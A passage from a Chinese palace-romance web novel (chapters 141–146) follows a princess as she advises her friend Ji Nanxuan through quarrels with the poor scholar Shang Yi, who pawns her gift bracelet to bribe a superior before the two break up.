这丞相府儿媳的位置她本就不稀罕,苏眉爱给谁给谁。 她只是有些好奇容旖纾会如何做。 若真是知书达理的女子,这会儿定会认为苏眉行为轻浮,负气离去。 容旖纾以知书达理自居,此刻她是故作矜持的离开,还是急切的抓住这个好不容易得来的机会呢? 在乔楹月好整以暇时,容旖纾捏着帕子就走到了沈砚的身边。 啧。 竟然真的觍着脸去贴沈砚,她记得她从前对自己的形象极为维护,如今这般急切连形象都忘了,就不怕苏眉反应过来,看轻她。 不过苏眉也不是什么聪明人,怕是一时半会儿发现不了。 只能说容旖纾十分会看人,知道苏眉的性子,便做出适当的事情。 不过她对沈砚到底是什么样的感情呢? 她的性子不像是没有底线的蠢货,可是在沈砚面前时即便遭受羞辱也不肯放弃,好像有什么在推着她,她必须得到沈砚才能停下来…… 这厢,在容旖纾靠近时,沈砚的眉毛明显皱起,一向喜怒不形于色的人,这会儿脸上的厌烦却没有半点掩饰。 是故意露出,若是对方有自知之明就该离开。 可容旖纾却像是瞧不见一般,兀自抬手去给沈砚擦汗。 沈砚忽然侧身,避开了她的手,脸色一片冰冷。 “容小姐请自重!” 容旖纾面露难过,怯怯的收回手,苏眉面色一沉,迅速起身来到她身边,抓住她的手腕将袖子拉了上去。 只见白皙纤细的手腕之上交错着两道深深的伤痕。 “这是……鞭子抽出来的?” 容旖纾咬着嘴唇将袖子拉下去,急切说道:“没有,是我自己不小心撞到了墙上。” 苏眉一眼看穿:“墙上根本撞不出这种伤痕,这就是鞭子抽的,你是太尉府的小姐,谁敢打你?” 容旖纾咬着嘴唇不说话,只是一个劲掉眼泪。 苏眉立刻猜到了什么,沉声说道:“是唐毓秀打的?” 容旖纾没回答,但忽然激动的哭泣坐实了这个猜测。 这模样在苏眉看来是敢怒不敢言,受了欺负还要自己忍着,实在可怜! 可是乔楹月却能立刻明白容旖纾的小心思。 谎言戳破便会无法挽回,可这种似是而非的表达却能左右逢源,永远立于不败之地。 容旖纾故意不将话说清楚,目的就是让苏眉自己猜测,自己说出来。 到时若真的传到唐毓秀耳中,当面对质时她便能有借口为自己开脱。 这种手段不说有多高明,但被容旖纾运用的炉火纯青,便也高明了。 这份心性实在不像一个养在乡下的小姑娘能拥有的。 在乔楹月看透这些时,苏眉已经因为容旖纾的可怜做下了一个冲动的决定。 “旖纾,只要你不嫌弃,我沈家的儿媳随时为你留着!” 容旖纾受宠若惊,连忙摇头:“旖纾只是个庶女,如何配得上砚哥哥。” “有什么配不上,他除了家世好些,哪儿及得上你。” “沈夫人,您对旖纾太好了,旖纾从小没有母亲,如今是您让旖纾感受到了母爱。” 苏眉正要说话,忽然听到身边有动静。 她循声望去,便见自己的儿子不知道什么时候已经走开,这会儿正站在乔楹月的面前,只见儿子毫无顾忌的将她抱了起来,头也不回的进了屋。 苏眉目瞪口呆的看着这一幕,立刻想到了寺庙那一次,第一念头是不敢置信。 虽然不是第一次知道乔楹月不检点,可从前好歹只是当着她一个人的面,眼下还有容旖纾这个外人在,她竟也这么大胆,她的脸皮怎么就这么厚? 容旖纾比苏眉更加目瞪口呆。 虽然她没见过沈砚和乔楹月在房中亲吻的画面,但她猜也能猜到两人在房间里头绝对不是品茶对诗,做的只能是男女间的那点事儿。 可在她的印象之中,沈砚是个极其克制的男人,他有着世间男人都没有的高洁品性,男女之事于他而言似乎没有什么吸引力。 如今沈砚却当着这么多人的面,抱着乔楹月进屋。 他们还没成亲。 沈砚那样知礼的人,到底是多浓烈的感情才能干出这样离经叛道的事儿? “那个……他们应当是在屋内品茶对诗……” 苏眉反应过来后向容旖纾解释,可是这个解释连她自己都信服不了。 容旖纾觉得苏眉把她当傻子,心中一阵冷笑,但是面上依旧保持着恭敬。 她睁着眼陪着苏眉说瞎话。 “砚哥哥本就是雅致之人,既然是同公主喝茶对诗去了,那我们还是不打扰为好。” 其实容旖纾现在恨不得踹开门,强行将两人分开! 苏眉对容旖纾的识大体十分欣慰,便同她一起离去。 乔楹月离开沈砚私宅时已经天色擦黑,回到府上后她立刻揽镜自照,看见红肿的嘴唇,暗骂沈砚不是东西。 这时林酒快步进来,脸上的表情有些复杂。 乔楹月放下镜子问他:“发生何事?” 林酒低声回道:“云州的终氏确实是终斩玉的族人,但根据族长的讲述,终斩玉的父母应当是早些年从终氏一族分了出去,此后便杳无音讯。” 也就是说,终斩玉父母的线索又断了。 乔楹月将终斩玉传到公主府,将此事告知她。 终斩玉安静听完,平静的脸上没有太多的表情,但深褐色的眼眸之中却涌动着渴望和无奈。 乔楹月告诉她:“这也不完全是个坏消息,你爹肯定还在大周,族长说你爹娘是二十年前便搬迁了,那时候你才几岁,所以你肯定去过搬迁后的新家。 斩玉,你好好想想,最好能想到一些新家的记忆,如此本宫便能顺着线索去查。” 终斩玉坐在椅子上,闭着眼仔细回想,过了好一会儿,忽然睁开眼。 “民女想起家门前有一颗桃树!一年四季都挂着香甜的桃子!” 第一百四十二章三观不合 一年四季都能结果的桃树,这世上怕都没有第二棵,这般特别的树木,应当会远近闻名,只要顺着桃树去打听,肯定能找到! 乔楹月立刻吩咐林酒顺着桃树找。 终斩玉的眼中燃起希望,起身告辞离去,她前脚刚走,姬南萱便上门了。 乔楹月看向外头漆黑的天色,十分惊讶。 这么晚了,姬南萱是发生了什么事儿? “快请进来。” 不一会儿姬南萱便踩着夜色走进了小厅,她一屁股坐在乔楹月的下手,总是活力满满的小脸垮着,明显不开心。 “怎么了?” 听见乔楹月询问,姬南萱叹了一声,小声嘟囔道:“我和尚曀吵架了。” “因何而吵?” “他觉得我乱花银子,可那身衣裳是为他而买,他不仅不领情,竟然还指责我。” 乔楹月便明白了。 姬南萱大手笔的礼物,刺破了尚曀的自尊心。 倘若他是一个不知廉耻的小人,肯定会高兴笑纳。 抑或是个与姬南萱家世相当的,也会高兴笑纳,并给出更贵重的回礼。 可偏偏他二者都不是,浓烈的自尊激发了自卑,让他说出了带刺的言语。 对于这个结果,乔楹月意外,也有些意料之中。 自从见过尚曀的母亲以后,她便明白,姬南萱和尚曀并非同类。 他们之间的感情是真的,可是两个人相处除了感情,还需要精神的契合。 乔楹月有些唏嘘。 感情是很复杂的东西。 前世里尚曀可以在姬南萱去世以后,日日去她的坟前陪她。 可如今他们真的在一起了,却因为观念不和而争吵。 这种观念不和的争吵会随着两人相处的时间越长,而越来越频繁。 甚至,最后会消耗掉两人的感情…… “公主,你来评评理,这件事儿到底是谁错了!” 见乔楹月没说话,姬南萱抓住她的衣袖追问。 此时此刻,她还天真的认为只要分出对错,便能解决眼前的问题。 乔楹月伸手在她头顶摸了摸,温和说道:“肯定是他错。” 作为朋友,乔楹月始终站在朋友这一方。 但。 “但他也有他的难处。” 姬南萱表情懵懂。 乔楹月便耐心的同她解释:“尚曀出身寒微,品性端正,或许你送礼时并未想着回礼,可他认为得到礼物是一定要回礼的。 然而他囊中羞涩,无法回你相等的礼物,这样的局面会让他感到为难。” 姬南萱眼中的懵懂慢慢消失,目光渐渐明亮起来。 “原来是这样,难道我送他衣裳时他的表情很奇怪,我还以为他不喜欢我挑选的款式。” 随后她迷茫的问乔楹月。 “那我以后送礼便送便宜些的,如此我们是不是便不会发生争吵了?” 乔楹月摇头:“只要他一日达不到他内心的高度,你们便还会因为类似的事情发生矛盾,也就是说,你若想跟这个人在一起,或许要受一些委屈。” 顿了顿她又补了一句。 “委屈过后是拨云见日,还是翻脸无情,谁都说不准。” 尚曀对姬南萱的感情是真,但乔楹月始终不认为感情能永久维持,两个人若只靠感情,终究会越走越远。 “不过我说的也并非绝对,两个人在一起会有各自的造化,结局如何,没人说的准。” 身为姬南萱的朋友,乔楹月有责任将一切可能告诉她,剩下的,由她自己选择。 姬南萱沉默的坐了很久,然后用坚定的语气告诉乔楹月。 “我决定迁就他,我和他是一定要成亲的。” 乔楹月笑着点头:“我随时备上大礼。” 这会儿姬南萱彻底想开了,又恢复了以往的活力,她仔细盘算了一会儿,决定了。 “我要主动邀他去踏青,然后与他重归于好!” 乔楹月笑着点头:“你做什么我都支持。” 姬南萱‘嘻嘻’笑着,冲着她撒娇:“天色太晚,我不回去了,公主,我今晚就睡在这儿。” 乔楹月无奈笑道:“好好好。” 次日清晨,姬南萱赖在公主府吃了早膳才回府。 这两日她休沐,便决定将踏青定在明日。 回到姬府以后,她吩咐忍冬去南城给尚曀递口信。 中了状元以后,皇上将南城的一座宅子赐给了尚曀,宅子不算大,但里头一应齐全不需要他另外花银子置办。 如今尚曀带着父母搬进了宅子里头,他没有银子买丫鬟,因此这宅里头就只有他和父母。 这会儿忍冬来敲门,是谭二凤来开的门,瞧见外头是个穿着不一般的小姑娘,还有些眼熟。 谭二凤仔细一思索,立刻想起来对方的身份,是那位姬小姐身边的丫鬟! “哎呦!姑娘快请进!” 谭二凤热情的将忍冬往小厅领,又急急忙忙去沏茶,帮她倒上,还亲自送到她手里。 忍冬被这份热情弄的不自在,担心自己坏了规矩,赶紧放下茶杯,开口问道:“尚公子可在府上?” 谭二凤连连道:“在的在的,是不是姬小姐有事儿要和曀儿说?我这就将曀儿叫来!” 谭二凤风风火火的出去,忍冬悄悄用袖子擦汗。 不一会儿尚曀过来,客气的朝忍冬点头,问到:“姑娘前来可有要事?” 忍冬恭敬行礼,然后说道:“小姐邀尚公子明日去花儿湖踏青,小姐叮嘱了,尚公子一定要来!” 尚曀眸底的清冷散去一些,涌上一层柔情,“明日什么时辰?” 忍冬道:“巳时初在花儿湖的芙蓉亭见面。” 尚曀点头:“姑娘代我向姬小姐说一句,我会准时去。” 忍冬笑着离去,走出小厅时蹲在外面偷听的谭二凤尴尬的站起来,笑眯眯的送她出去。 谭二凤一转身,儿子已经不见了身影,她叹了一声,正要关门,一个中年妇人笑盈盈的问她。 “看来是那位姬小姐又来邀约你家曀儿了?” 谭二凤不认识此人,但听此人说话,猜测是周围的街坊邻居,她可算找到了地方炫耀,毫无戒备的与这人聊了起来。 一炷香后,这个妇人出现在权府,她站在权晏舟的面前低声禀报。 “姬南萱邀约尚曀明日踏青。” 第一百四十三章踏青偶遇 花儿湖。 乔楹月刚跳下马车,便看见权晏舟朝着自己走来。 “没想到竟在此处遇见了公主,在下拜见公主!” 若非特意跟踪,哪儿会这么巧在这种地方相遇。 乔楹月看向远处停着的马车,估摸着便是权晏舟的,此刻那马车便还站着两个人,见她看过去,这两人往马车后躲了躲。 看来这个权晏舟来者不善。 便看看他葫芦里卖的到底是什么药。 “免礼。” 权晏舟起身后又朝姬南萱行礼:“在下见过姬小姐。” 最后朝尚曀行礼,“状元郎有礼!” 姬南萱和尚曀不认识权晏舟,但瞧出来他和乔楹月相识,便客气的朝他点头。 乔楹月淡淡道:“权公子也和朋友出来踏青?” 权晏舟的表情有一瞬的不自然,随后迅速否认。 “在下与他们不认识。” “哦~” “在下一人,没带侍卫,在这荒郊野外有些害怕,在下可否和公主一道游玩?” 乔楹月挑眉:“可以。” 接下来便是四个人一路。 花儿湖的景色很美,姬南萱和尚曀这对有情人的关系需要缓和,乔楹月便落后几步,留给他们说话的空间。 权晏舟跟在乔楹月身后,弯腰摘了一朵花,递过去。 “这朵花很漂亮,很衬公主。” 乔楹月第一反应,这花有毒,她没去接,淡淡说道:“本宫不喜欢花。” 权晏舟立刻问:“那公主喜欢什么?” “喜欢清净。” “……” 耳边终于安静了下来。 乔楹月吩咐红豆,“这儿风景最好,将帐篷扎在这儿吧。” 这次踏青是由姬南萱安排,她准备了野炊的一应用具,还准备了鱼竿,吃喝玩乐,都有。 红豆带着下人安营扎寨,乔楹月寻了一块石头坐下,看着风景,享受这宁静的时光。 权晏舟默默坐在远一点的地方,目光时不时往这边看。 便在这时,远处忽然爆发激烈的争吵声,将宁静的气氛撕了个粉碎。 乔楹月吩咐林酒,“去看看。” 林酒前去,不一会儿回来禀报:“是一对年轻夫妻在吵架,要不要将人赶走?” 乔楹月立刻想到站在权晏舟马车边的两个人,心中立刻警觉起来。 这或许就是权晏舟的阴谋。 扭头瞥了一眼不远处的权晏舟,发现他的表情明显不自然,乔楹月的眼神越来越冷。 她低声吩咐林酒:“不必赶走,静观其变。” 没一会儿,这吵架声慢慢的吵着这边靠近。 乔楹月眼眸微眯,暗处的暗卫当即出现,剑锋压在了这两人的脖子上。 这会儿乔楹月终于瞧清楚两人的模样,是一男一女,皆是二十来岁。 女子模样美貌,眉眼却过于锋利。 男子英俊儒雅,眉眼间的神态有些温吞。 她的目光在两人脸上快速扫过时,权晏舟急匆匆的跑了过来。 “公主手下留情!这二人是在下的姐姐和姐夫!” 乔楹月眸色冰冷:“方才你分明说不认识。“ 权晏舟的表情有些尴尬,眼下局面却不容许他隐瞒,只能老实交代。 “在下想跟着公主一起游玩,这才撒了谎。” 乔楹月表情严肃:“你为何想跟本宫一起游玩?” 权晏舟正支支吾吾,那脖子上架着剑的女子大声说道: “他喜欢公主!” 权晏舟面红耳赤,立刻否认:“别胡说!” 女子一脸恼火:“你姐姐我人头都要落地了,你竟然还为了面子撒谎!你若不是喜欢公主,为何在得知公主也会跟着姬小姐踏青以后,便屁颠颠的跟过来? 你为了跟公主一道游玩,连我这个亲姐姐都装作不认识,你还说你不是喜欢公主!” 昨晚权晏舟得知姬南萱要和尚曀去踏青,便猜测她为了名声,会寻乔楹月相陪,因此一大清早便坐上马车,前往花儿湖。 然而就在他刚刚坐上马车时,姐姐和姐夫跟了上来,这对活宝的德行他十分清楚,若让这俩跟着,肯定不会有好事儿。 于是在乔楹月询问时,他下意识否认。 至于亲姐姐的‘指认’,他不敢苟同! 他跟踪乔楹月是为了更好的了解她并对付她,他不可能喜欢这个女人! 权晏舟气恼的说道:“公主不喜欢吵闹,你再乱说小心公主砍了你的脑袋!” 女子立刻胆怂。 乔楹月盯着权晏舟看了一会儿,眼底的警惕敛去,低声吩咐暗卫。 “将人放了。” 暗卫立刻收剑回鞘,无声隐去。 女子立刻走到乔楹月面前行礼。 “民女是权晏舟的姐姐,名叫权迟眉,她是民女的丈夫,叫高崧。” 男人立刻跟着行礼:“微臣参见公主!” 乔楹月打量高崧,觉得眼熟,想了一会儿问道:“你和高显宗是什么关系?” 高崧点头:“那是家父!” 高显宗是礼部侍郎,身为朝中大臣,他的儿子不可能做出当众行刺公主的傻事儿。 乔楹月的心松懈几分,但该有的警惕依旧没放下。 乔楹月给二人赐座,随后询问高崧。 “你们为何事争论?” 这会儿姬南萱和尚曀回来,二人脸上都带着甜蜜之色,明显是误会说开,和好如初了。 两人坐下来,安静听高崧说话。 “微臣和内人遇到一位画师,这画师跋山涉水只会画一副春日图,微臣认为这种精神值得赞颂。 可她却觉得用一整日的时间去画一副毫无价值的画作,实在是浪费生命! 微臣为此不悦,一时情急,便与她争论起来。” 他话音刚落下,权迟眉便忍不住了。 “你倒是把情况说清楚了,他家境贫寒,家中有妻儿和年迈的父母,他整日为了画画不着家,家中的花销全靠他的妻子负担! 她的妻子一边挣钱,一边还要照顾一家老小,过得十分辛苦,他现在的责任应该是养家糊口,而不是拿着妻子辛苦挣来的银子,去画什么春日图!” 高崧顿时来了火气,“钱钱钱!在你们商人心中理想和抱负不值一提,你们的眼里就只有钱!” 权迟眉不是个忍气吞声的主儿,这会儿高崧当众朝她发火,她半点没打算忍着。 第一百四十四章再次争吵 权迟眉毫不客气的讽刺道。 “你这叫何不食肉糜!理想和抱负需要金钱支撑,否则便是脑子不清醒!” “权迟眉!” 眼看两人又要干仗,权晏舟一个头两个大。 乔楹月示意林酒将两人分开,权迟眉红着眼问她:“公主是饱读诗书之人,今日公主便来评评理,我们夫妻二人到底谁错了。” 这个问题乔楹月昨晚刚回答过姬南萱。 权迟眉和高崧对于画师的看法,便和姬南萱尚曀因为贵重礼物吵架的原因一样。 换句话说,权迟眉和高松,便是将来的姬南萱和尚曀。 权迟眉让她判对错,可这种事儿没有对错。 “本宫判不了。” 权迟眉有些失望,扭头看到尚曀,她记得他是新科状元,当即眼睛一亮。 “尚公子是新科状元,懂的更多,不如便让尚公子为我们辨个对错!” 高崧点头:“尚公子是读书人,肯定能明白事理!” 面对两人期待的目光,尚曀犹豫了一下,缓缓开口说出了自己的想法。 “在下更加赞同高夫人的想法,权利和金钱,才能支撑得起理想和抱负。” 高崧顿时垮了脸。 权迟眉一脸获胜的大笑起来。 而坐在尚曀身边的姬南萱脸色明显不好看,她顿了一会儿,终是忍不住开口: “可若一个人这辈子心里只有权利和金钱,岂不是成了毫无灵魂的行尸走肉?那位画师的做法固然不对,可他为了自己的理想坚持,也并没有错啊。” 尚曀顿了顿,认真说道:“他的肩上有很重的责任,他没有资格追求自己的理想。” 姬南萱不认可:“每个人都有资格追求自己的理想!” 尚曀的表情凝重起来:“可不是每个人生下来便含着金汤匙。” 姬南萱一怔,难过的问他:“你是讽刺我吗?” “我没有。” “你就有!” “……我只是陈述事实。” “你所说的事实我不认同!” “姬小姐非要闹脾气,在下只能无话可说!” 原本吵架的是权迟眉和高崧,一眨眼的功夫便变成了姬南萱和尚曀。 乔楹月头疼,赶紧出声平息了这场争吵。 这场踏青是姬南萱为了跟尚曀和好而特意安排,眼下两人又因为同样的矛盾发生了争吵,两人都没了游玩的心情。 乔楹月索性提出打道回府。 三辆马车朝着城内而去,走在最后的是权晏舟的马车,车厢内,权迟眉和高崧坐一处,权晏舟坐在二人对面。 权晏舟的脸色很不好看,他不好朝自己的姐夫抱怨,便只能抱怨自己的姐姐。 “让你别跟着,你非要跟着,好好的踏青之行让你给糟蹋了!” 权迟眉有些尴尬,叹了一声:“都怪我当初瞎了眼,非要嫁给他。” 高崧恼火:“当着小舅子的面,你就不能给我点面子?” 权迟眉嗤之以鼻:“面子能当饭吃吗?” 高崧立马讽刺:“我看你心里只有钱!” 眼看两人又要吵起来,权晏舟感觉一个头两个大,直接用枕头捂住了耳朵。 踏青之行结束以后,姬南萱的心情低落了下去,没再主动去和尚曀和好,一心扑在了公事上。 至于尚曀,他本就从未在两人的关系上主动过,这次自然和从前一样。 过了几日,尚曀上任的事儿落实。 也是极为巧合,朝廷为他安排的职位,竟然是大理寺评事,从七品。 大理寺卿是姬南萱的父亲,而尚曀,是大理寺中从七品的芝麻官。 原本这个职位的前途并不差,但因为这层关系在,尚曀的心情有些阴郁。 他的顶头上司是大理寺少卿,名叫言廷。 尚曀虽然初入官场,却并不固执,他非常明白官场充满了勾心斗角,他若想仕途顺利,必须懂得变通。 和顶头上司搞好关系很重要。 搞好关系需要打点,打点需要银子,可尚曀没有银子。 唯一值钱的,便是皇榜之前姬南萱赠送的金镯。 这金镯男子并不适合佩戴,但是姬南萱说这金镯能带来好运,便送给了他。 金镯很贵重,他小心的收好了。 这会儿尚曀将金镯取出来,珍惜的在上头摸了摸,最终狠心的放入怀中,出了门。 他来到当铺,将这金镯当了。 金镯非常值钱,当了许多银子。 走出当铺时,尚曀回头看着冰冷的当铺,心中下定了决心。 这个金镯,他一定会赎回来! 当天晚上,尚曀拎着一个油纸包去了言府,顺利见到了言廷。 一番见礼后开始了虚伪的交谈,谈到气氛合适时,他将红色油纸包递了过去。 这油纸包是药铺用来装药的,上头还有红纸,里头有药味儿透出来。 言廷敏锐的闻出来味道,一番客套后收下,交给了下人。 下人拿下去以后拆开了纸包,看见里头是一支极为昂贵的人参,以下人的经验,少说也有五百年。 下人立刻回到小厅,悄声在言廷耳边禀报此事。 言廷的态度立刻发生了变化,变得更和善,更温和。 尚曀知道,事儿是成了。 他识趣的起身告辞。 便在这时,一道熟悉的声音在声音响起。 “南萱特意来向言伯伯告辞。” 尚曀一怔,下意识往里侧藏了藏。 然而这小厅根本藏不了人,姬南萱一眼就看见了他,惊讶的出声喊他。 “尚曀。” 尚曀不得不回头,目光从姬南萱的身上挪到了她身边的少年身上。 这少年年纪和姬南萱相仿,模样英俊,气质富贵,眉眼间有言廷的影子。 和他的目光对上时,尚曀清楚捕捉到了对方眼底迸射的轻蔑。 “这位便是新科状元啊,听说尚公子入职了大理寺评事,是我爹的下属,如今还未上任便来府上拜会,莫不是前来与我爹套近乎的吧?” 尚曀的脸‘唰’的白了,沉声对少年说道:“言公子误会了,在下家中还有要事,告辞!” 尚曀快步离去,路过姬南萱时目不斜视,像是与她不认识。 姬南萱的心被扎了一下,本也想不理睬他,可心里的气却憋不住,她匆匆朝言廷行礼,大步追了出去。 第一百四十五章深爱矛盾 姬府的马车追上来,停在了尚曀身边,车内传来姬南萱怒气腾腾的声音。 “你上来!” 尚曀抿唇片刻,抬脚进入车厢。 姬南萱愤怒盯着眼前的少年。 “你为何对我装作不认识?” 尚曀的态度很冷淡。 “姬小姐和言公子关系亲密,在下担心坏了姬小姐的好事。” “他只是我的朋友,前几日他帮我一点忙,今日我来向他道谢!” 姬家和言家关系不错,姬南萱和言文柏自小一起长大,关系十分不一般。 这一点尚曀有所耳闻,没当回事,如今看见姬南萱和言文柏那般亲密的站在一起,两人的气质般配无比,他的心犹如被针扎了一般的疼。 见尚曀抿着唇不说话,姬南萱的怒火更浓。 “你说话啊!” 尚曀的态度却越来越冷淡。 “说什么?” “说什么?尚曀,你对我到底有没有一点真心啊!” 他满是真心。 可也正是因为太过真心,才无法忍受自尊被践踏。 尚曀抬起头,冷静的对姬南萱说道:“或许,在下与姬小姐不合适。” 马车骤然停下,尚曀跳下马车,马车扬长而去。 尚曀望着马车,眼圈泛红,他握着拳头,忽然朝着马车奔跑。 而马车也在他抬脚时停了下来。 当尚曀跑到马车旁时,姬南萱已经从车上下来,脸上满是泪水。 她委屈巴巴的问他:“尚曀,你再说一次,你对我有没有一点真心?” 尚曀的气息紊乱着,他缓慢而坚定的向她表白。 “在下方才说了违心之言,实际上,在下对姬小姐一见钟心,再见倾心,如今已是情深意浓,在下对姬小姐的真心永不改变!” 姬南萱嘴一扁,‘呜呜’哭了起来。 尚曀心疼极了,一向守礼的人这会儿情难自禁的张开怀抱,将她拥入怀中。 后来尚曀将姬南萱送到了姬府,他在姬府大门前下车,独自回家。 晚些时候,言文柏派来小厮给姬南萱送了一件礼物。 漂亮的锦盒有些眼熟。 姬南萱疑惑的打开,便见锦盒之中躺着一个金镯子。 这个金镯子,正是她送给尚曀,而尚曀却拿到当铺当掉的那一只。 姬南萱不知其中内情,却也能嗅到其中的不对劲,瞧见桌子下压着一封信,她拿出来打开,上头只写了两行字。 我在当铺发现了这支镯子,尚曀给我父亲送了一支五百年的人参。 “当铺……人参……新官上任……暗中行贿……” 姬南萱拿着桌子,喃喃自语着,半晌忽然苦笑出声。 “原来他当掉我送的镯子,去言府送礼去了,尚曀,你这人还真是……现实啊。” 姬南萱收起镯子,独自发了会儿待,然后起身去了公主府。 这会儿乔楹月刚刚见完何掌柜,听见姬南萱前来,看向外头擦黑的天色,便敏锐猜到,她的到来肯定和尚曀有关。 乔楹月在小厅和姬南萱见面,等着听她诉说尚曀的种种不是。 然而这一次姬南萱的态度却十分反常。 她一言不发,只是默默坐着。 乔楹月察觉她的情绪不对,低声吩咐红豆送酒水上来。 送来的是香甜的米酒。 乔楹月刚倒上一杯,姬南萱便抢过去一口闷了。 她索性将酒壶递过去,“这一壶都是你的。” 姬南萱接过酒壶,自斟自饮。 直到两颊泛起红晕,她才开始嘟嘟囔囔的吐露心事。 “尚曀将我送他的礼物拿到当铺当掉,买了一支五百年的人参,送给了言伯伯。” 乔楹月猜到姬南萱口中的言伯伯,应当是大理寺少卿晏廷。 倒是听说尚曀即将任职大理寺评事,她当时听到这个消息时还为他高兴呢。 大理寺评事职位虽然不高,可晋升速度却特别快。 尚曀应当是明白这个职位极好,为了自己的仕途顺利,便打点了自己的顶头上司。 若是前世的乔楹月,肯定会十分瞧不上这样的人。 可重生后的她想法变了许多。 尚曀的行为虽然不够敞亮,但身为寒门之士想要完全靠能力站到顶峰,十分困难,尚曀打点自己的上司,是聪明之举。 不过他打点上司的银子,是姬南萱的心意。 虽然他有他的难处,可这种行为确实让人心寒。 眼下她需要帮姬南萱看清这段感情。 “尚曀的行为确实不对,不怪你难过,依本宫看,你便从此与他一刀两断算了。” 姬南萱脸上的怨气忽然就散了,“也没那么严重。” 乔楹月知道她会是这个反应,于是继续激她。 “他卖了你送的礼物,还拿那些银子去贿赂自己的顶头上司,种种行为都表明他不是个正直之人,这种人不舍弃还留着做什么?” 姬南萱立刻道:“其实他也没公主说的那样不好,他卖掉镯子是因为走投无路,他送人参也不算贿赂,他只是想打点一下,让自己未来的仕途好走一些。 他虽然做了一些不好的事情,但他的本质还是好的,而且他对我是真心实意,我心里还是喜欢他的!” 乔楹月挑眉,“你看,你自己又想通了。” 姬南萱脸红:“公主又笑话我。” 乔楹月认真摇头:“我不是在笑话你,我只是觉得,一段感情来之不易,既然你对他还有情,那便享受这段感情,哪天你不喜欢他了,你便潇洒转身,继续去寻找你的真命郎君。 人难得活一次,别让自己留下遗憾。” 姬南萱听明白了乔楹月的意思,纠结的内心安定下来。 不过对于尚曀当掉镯子的事儿,她还是不知道该如何处理。 “公主帮我出个主意吧,尚曀当镯子的事儿我该不该与他明说?” “别说,就当不知道。” 以尚曀那自卑的性子,一旦捅破这件事儿,他和姬南萱的感情就彻底完了。 乔楹月很自私。 这段感情可以结束,但必须是姬南萱彻底放下后才能结束。 次日,乔楹月亲自邀了尚曀入府用膳,饭桌上当然也有姬南萱。 这顿饭下来,姬南萱默默在心里原谅了尚曀。 尚曀并不知道暗中发生了什么,只以为是姬南萱想见自己,便借着公主府与他相会。 他忽然很不安。 若姬小姐知道金镯被自己当了,会是何感想…… 第一百四十六章一刀两断 尚曀离开公主府以后,鬼使神差的去了当铺,并向当铺老板询问自己当掉金镯可还在铺子里头。 老板以为他向赎回金镯,便如实相告:“客官当掉金镯时我就提醒过,在客官前来赎回之前,只要有人看中,我便会出手。 恰好今日来了一位公子,看中了客官的手镯,十分爽快的买走了,客官的手镯如今已是别人的囊中物,客官以后不必再为金镯前来。” 这番话像是一道天雷,击得他浑身发凉。 是一位公子买走了镯子,就在今日,难道是言文柏? 若是言文柏买走,肯定会将此事告知姬南萱…… 一道灵光闪过,尚曀顿时犹如五雷轰顶! 姬小姐已经知道金镯被自己当掉,公主邀自己过府用膳也和金镯有关! 而自己却像个傻子,成为了大大的笑话。 呵。 尚曀,你真是个傻子啊! 过了两日,尚曀正式上任,巧合的是,言文柏来为父亲送东西,正巧看见了他。 言文柏脸上带着嘲讽的笑,径直走大了尚曀的面前。 “呦,尚大人来上任了。” 尚曀克制的朝他点头:“言公子有礼。” 言柏文却故意坐在他的位置上,同旁边的人说起了话来。 “听闻这大理寺的厨娘手艺极好,炒出来的菜是色香味俱全。” 旁人知道他的身份,笑着附和。 “那厨娘会许多道菜,每日荤素搭配的十分合理。” “何止菜炒的好,米饭也蒸的好! 听到这儿,言文柏怪笑着点头:“厨娘的饭蒸的好,很硬,我就喜欢吃硬一些的米饭。” 随后他笑嘻嘻的扭头问尚曀。 “尚公子是喜欢吃硬的,还是吃软的?” 尚曀的脸瞬间惨白。 言文柏哈哈大笑,“看来尚大人是喜欢吃软饭啊!哈哈哈……” 这种话对一个男人而言是极大的羞辱,何况今日还是尚曀上任的日子,言文柏的言行简直是将他的脸往地上踩。 尚曀的拳头握紧,言文柏瞧见后故意挑衅:“怎么?你想打我?来,你打我啊。” 尚曀松开拳头,冷静了下来:“在下不敢。” 言文柏没趣的‘嘁’了一声,抬屁股站起来,扬长而去。 值房里头的同僚们看出来言文柏和尚曀有矛盾,这些人最是擅长站队,立刻开始疏远他。 尚曀深呼吸,慢慢坐下来,幽深的眸子,像是蛰伏在暗处的猛兽。 时间一眨眼过去了半个月,这期间乔楹月的新铺子修葺完成。 新的铺子是新的模样,铺面比‘金福来’大一倍,里头的金匠有五个,只是还缺一个掌柜。 乔楹月给何掌柜包了大大的封红,何掌柜拿人手软,便将自己最得意的徒儿从沈砚的铺子里头带出来。 对此,乔楹月对沈砚存了几分抱歉,当然她也知道,若没有沈砚点头,何掌柜绝对没有这么大胆。 沈砚手底下人才辈出,匀他两个也一样转得开。 不过这个人情乔楹月记下来,至于怎么还,‘金福来’三成的利润白给他拿,够还了! 在乔楹月为开张忙碌时,姬南萱派忍冬给尚曀递了两次口信,邀他出门相见,均被他以公务繁忙拒绝。 姬南萱并非什么都不懂的内宅女子。 一个刚上任的大理寺评事,不可能忙到连出门见她一面的时间都没有。 如此推脱,不过是不想见罢了。 姬南萱心中有些不高兴,却也并未多想,想着应该是刚上任还不习惯有些累,等他缓过来就好了。 然而没过两天,姬南萱出门办案时,却瞧见尚曀和一个女子在茶楼之中谈笑风生。 从女子的穿着来看,家世应当不算太好,也不算太差。 而从两人说话的姿态来看,两人之间的关系,肯定不仅仅只是简单的朋友。 姬南萱站在原地看着,走出去的叶冀后退两步,站在她身后同她一起看。 但他没看出个名堂来,便神秘兮兮的询问:“是不是看到嫌疑人了?” 姬南萱收回目光,摇头道:“看错了。” 傍晚,姬南萱散值回府,让忍冬磨墨,她提笔写了一封信。 写好以后,她的鼻子有些酸,忍着眼泪吩咐忍冬:“将信送到尚大人手中,记住了,必须亲手交给尚大人,让他当面看完,等他看完以后你再离开。” 忍冬应下。 半个时辰后,忍冬从外头进来。 姬南萱问她:“他看完信以后是什么表情?” 忍冬说道:“尚大人先是苦笑了一下,随后如释重负的吐了口气,最后让奴婢代为转告小姐,说他明白了。” 她的信很简短,只说两人性格不合,从此分道扬镳。 她是告诉他,她要与他一刀两断。 可他却说明白了。 这会儿姬南萱反而有些不明白了,她明明能感受到他的感情,为何如今一刀两断,他却能这样平静? 反倒是她,像个疯子! 姬南萱拿出帕子,擦掉脸上的泪水,随后闭上眼,深吸一口气,在心中告诉自己。 姬南萱,你和尚曀的关系就此结束,往后再见面,便当做不相识! 次日,乔楹月的新店开业,店名叫大发金行。 名字很俗,但金子本就是是越俗越好卖。 